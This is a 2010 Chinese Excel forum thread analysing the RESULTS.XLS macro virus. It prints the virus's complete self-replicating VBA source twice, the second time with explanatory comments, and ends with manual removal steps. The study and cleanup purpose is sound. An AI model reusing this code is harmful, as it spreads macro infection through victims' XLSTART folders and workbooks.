大家研究一下results这个宠病毒

开辆小富康 · 发表于 2010-2-18 22:18

好象就是恶作剧啊，没啥破坏性，以下代码仅作研究，切勿放入EXCEL中运行 Sub auto_open()     Application.OnSheetActivate = "ck_files" End SubSub ck_files()     c$ = Application.StartupPath     m$ = Dir(c$ & "\" & "RESULTS.XLS")     If m$ = "RESULTS.XLS" Then p = 1 Else p = 0     If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0     whichfile = p + w * 10     Select Case whichfile     Case 10     Application.ScreenUpdating = False     n4$ = ActiveWorkbook.Name     Sheets("results").Visible = True     Sheets("results").Select     Sheets("results").Copy     With ActiveWorkbook         .Title = ""         .Subject = ""         .Author = ""         .Keywords = ""         .Comments = ""     End With     newname$ = ActiveWorkbook.Name     c4$ = CurDir()     ChDir Application.StartupPath     ActiveWindow.Visible = False     Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _         , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _         False, CreateBackup:=False     ChDir c4$     Workbooks(n4$).Sheets("results").Visible = False     Application.OnSheetActivate = ""     Application.ScreenUpdating = True     Application.OnSheetActivate = "RESULTS.XLS!ck_files"     Case 1     Application.ScreenUpdating = False     n4$ = ActiveWorkbook.Name     p4$ = ActiveWorkbook.Path     s$ = Workbooks(n4$).Sheets(1).Name     If s$ <> "results" Then         Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)         Workbooks(n4$).Sheets("results").Visible = False     Else     End If     Application.OnSheetActivate = ""     Application.ScreenUpdating = True     Application.OnSheetActivate = "RESULTS.XLS!ck_files"     Case Else End Select End Sub

喜多多 · 发表于 2010-2-18 23:53

这段代码可以学到好多知识[em02]

吕?布 · 发表于 2010-2-19 11:18

这个我根本不能保存，一保存便被卡巴掉了

开辆小富康 · 发表于 2010-2-19 11:37

这个程序好象仅仅是恶作剧，并没有什么破坏性。作为学习用，真是很OK的。 我先学一个。Application.OnSheetActivate = "RESULTS.XLS!ck_files" 这个onsheetactivate，功能相当于Worksheet_Activate()事件。但它是以string形式返回的。 病毒中，父级对象是application，因此任何工作簿转换任何工作表都会激发这个"RESULTS.XLS!ck_files"程序。 仿照这个东东，我在新工作簿的模块中编以下的简单程序，保存，再打开： Sub auto_open() Gettest End Sub Sub test() MsgBox "已经触发这个程序。" End Sub Sub Gettest() ThisWorkbook.OnSheetActivate = "test" End Sub 打开后，马上跳出这个msgbox，每转换工作表一次，都会跳出来msgbox。由于是ThisWorkbook.OnSheetActivate = "test"，所以只对本工作簿有用。 想想以前编程序，想要每个工作表激活的时候，都响应某个程序，在每个工作表中加一个activate。真是傻啊。

jsnjwaq · 发表于 2010-2-19 12:41

代码还是看不懂[em06]

青城山苦丁茶 · 发表于 2010-2-19 13:43

刚才下个附件就中了这个毒[em04][em04][em04][em04]

吕?布 · 发表于 2010-2-19 14:43

<div class="msgheader">QUOTE:</div><div class="msgborder">以下是引用开辆小富康在2010-2-19 11:37:00的发言： 这个程序好象仅仅是恶作剧，并没有什么破坏性。作为学习用，真是很OK的。 我先学一个。Application.OnSheetActivate = "RESULTS.XLS!ck_files" 这个onsheetactivate，功能相当于Worksheet_Activate()事件。但它是以string形式返回的。 病毒中，父级对象是application，因此任何工作簿转换任何工作表都会激发这个"RESULTS.XLS!ck_files"程序。 仿照这个东东，我在新工作簿的模块中编以下的简单程序，保存，再打开： Sub auto_open() Gettest End Sub Sub test() MsgBox "已经触发这个程序。" End Sub Sub Gettest() ThisWorkbook.OnSheetActivate = "test" End Sub 打开后，马上跳出这个msgbox，每转换工作表一次，都会跳出来msgbox。由于是ThisWorkbook.OnSheetActivate = "test"，所以只对本工作簿有用。 想想以前编程序，想要每个工作表激活的时候，都响应某个程序，在每个工作表中加一个activate。真是傻啊。 </div>查网上资料，这个最开始是被用来做透视表更新还有其它的Application.OnCalculate Application.OnDoubleClick Application.OnSheetDeactivate

开辆小富康 · 发表于 2010-2-19 15:19

按我山寨的理解，将大部分代码作了注释，不知对不对，请大家斧正。Sub auto_open()     Application.OnSheetActivate = "ck_files"  '这个auto_open，是文件打开自动执行。由于本文件是放在xlstart文件夹，任何excel文件启动，都会先打开这个文件。 End SubSub ck_files()     c$ = Application.StartupPath               '取得xlstart文件夹的路径     m$ = Dir(c$ & "\" & "RESULTS.XLS")        '取得results.xls文件名     If m$ = "RESULTS.XLS" Then p = 1 Else p = 0 '如果result文件不存在，m$是""     If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0 '判断活动工作簿的模块数量。这个活动工作簿，不是results.xls，是你正常打开的那个工作簿。     whichfile = p + w * 10  '这个whichfile变量，是10的话，就是当前活动工作簿有模块，而xlstart中没有resutlts.xls，是1的话，则相反。  Select Case whichfile     Case 10 '当前活动工作簿有模块，而xlstart中没有resutlts.xls执行以下代码     Application.ScreenUpdating = False     n4$ = ActiveWorkbook.Name     Sheets("results").Visible = True     Sheets("results").Select     Sheets("results").Copy  '将results工作表 copy 出来，新建一个工作簿。这个工作簿就是下面的活动工作簿了。     With ActiveWorkbook         .Title = ""     '帮助中说这是保存为网页时，文档的名称，现在是空白的。         .Subject = ""    '帮助中说这是发邮件时，作为邮件主题         .Author = ""     '文档作者         .Keywords = ""   '关键词         .Comments = ""   '注释     End With     newname$ = ActiveWorkbook.Name     c4$ = CurDir()  '得到当前驱动器路径,比如C:\,E:\     ChDir Application.StartupPath  '改变路径到xlstart     ActiveWindow.Visible = False     Workbooks(newname$).SaveAs Filename:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _         , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _         False, CreateBackup:=False  '关键的地方，由于新建工作簿包含results，而xlstart文件夹中没有，所以将新建工作簿以results.xls名保存在xlstart文件夹中。     ChDir c4$   '保存结束，重新转入到原来正常使用的工作簿的路径     Workbooks(n4$).Sheets("results").Visible = False    '隐藏results工作表     Application.OnSheetActivate = ""    '如果你原来就有onsheetactivate的变量，这儿被它改了。     Application.ScreenUpdating = True     Application.OnSheetActivate = "RESULTS.XLS!ck_files"   '每次将工作表变动一下就会执行这个代码。如果你有好多工作簿，都操作一遍，那么全部染上它了。     Case 1   '当前活动工作簿没有模块，而xlstart中有resutlts.xls     Application.ScreenUpdating = False     n4$ = ActiveWorkbook.Name     p4$ = ActiveWorkbook.Path     s$ = Workbooks(n4$).Sheets(1).Name     If s$ <> "results" Then   '如果你使用的工作簿第一个工作表不是results，那么它就插入病毒文件了。         Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)         Workbooks(n4$).Sheets("results").Visible = False     Else     End If     Application.OnSheetActivate = ""     Application.ScreenUpdating = True     Application.OnSheetActivate = "RESULTS.XLS!ck_files"     Case Else End Select End Sub

吕?布 · 发表于 2010-2-19 15:26

开辆小富康，做个广告：发表带颜色的代码<a href="http://excelpx.com/dispbbs.asp?BoardID=5&ID=104946&replyID=&skin=1">http://excelpx.com/dispbbs.asp?BoardID=5&ID=104946&replyID=&skin=1</a>

蓝桥玄霜 · 发表于 2010-2-20 10:20

对于Results.xls，我是这样处理的： 1，在VBE里面，右键点击它的模块1，选择移除模块，不保存，退出Excel，对提示是否保存Results.xls，选择是。 2，C:\Documents and Settings\Administrator\Application Data\Microsoft\Excel\XLSTART里面删除Results.xls。 再打开Excel，检查VBE，已经没有这个宏了。

		自动登录	找回密码
密码			注册

[VBA] 大家研究一下results这个宠病毒